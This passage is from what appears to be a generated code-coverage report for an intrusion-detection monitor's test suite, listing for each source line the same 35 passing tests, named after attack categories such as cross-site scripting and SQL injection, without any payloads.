class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel296": { - "header": "35 tests cover line 296", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel297": { - "header": "35 tests cover line 297", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel299": { - "header": "35 tests cover line 299", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel300": { - "header": "35 tests cover line 300", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel301": { - "header": "35 tests cover line 301", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel302": { - "header": "35 tests cover line 302", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel304": { - "header": "35 tests cover line 304", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel305": { - "header": "35 tests cover line 305", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel306": { - "header": "35 tests cover line 306", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel307": { - "header": "35 tests cover line 307", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel308": { - "header": "35 tests cover line 308", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel310": { - "header": "35 tests cover line 310", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li 